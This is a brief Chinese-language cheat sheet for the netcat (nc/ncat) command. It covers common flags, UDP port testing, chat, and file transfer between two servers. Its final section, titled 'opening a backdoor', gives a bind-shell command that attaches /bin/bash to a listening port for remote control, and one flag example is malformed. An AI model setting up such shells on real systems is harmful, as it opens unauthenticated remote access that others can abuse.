nc命令常用参数
-l :使用监听模式,监控传入的资料
-w : 设置等待连接的时间,例:ncat -w 3600ms -l 80 #ms单位是毫秒
-k : 强制服务器保持链接,并继续监听端口,例:ncat -l -k 80
-e : 将一个 bash 与指定端口相连,例:ncat -l -k -e 80
-u : 使用-u命令可以创建udp监听端口,例:ncat -l -u 53
-v : 显示指令执行过程,两个-v输出信息更加详细。例:nc -v -u 192.168.1.1 53
nc命令常用功能一:测试某个远程主机udp端口的连通性
nc -v -u 192.168.1.1 53
nc命令常用功能二:作为聊天工具
1.在服务器一上执行:nc -l 1000
2.在服务器二上执行:nc ${服务器一ip地址} 1000
3.服务器一和二可以在显示器上互相聊天。
nc命令常用功能三:传输文件
服务器一为需要接收文件的接收方,服务器二为发送文件的发送方。
1.在服务器一上执行:nc -l 8000 > test.txt #类似将接收到的信息都重定向到test.txt
2.在服务器二上执行:nc ${服务器一地址} 8000 < test #读取test文件内容发送到服务器一8000端口
3.该命令也可以用来传输tar包之类的,测试执行命令如下:
服务器一上执行:nc -l 8000 > messages.tar.gz
服务器二上执行:nc ${服务器一地址} 8000 < messages.tar.gz
#首先在服务器一上启动8000端口监听,并将接收到的文件重定向到messages.tar.gz。服务器二发送文件messages.tar.gz到服务器一8000端口。该命令可以用在服务器防火墙只开通了某一个端口,scp,ftp无法使用情况下用来传输文件。
#-–send-only 选项会在文件拷贝完后立即关闭连接,但是测试中不使用该选项文件发送完毕后,链接也会自动断开。
nc命令常用功能四:开后门
服务器一上执行:nc -l 8000 -e /bin/bash
服务器二上执行:nc ${服务器一地址} 8000 #之后直接输入命令行命令可以操控服务器一,不会显示命令提示符,但会显示命令返回。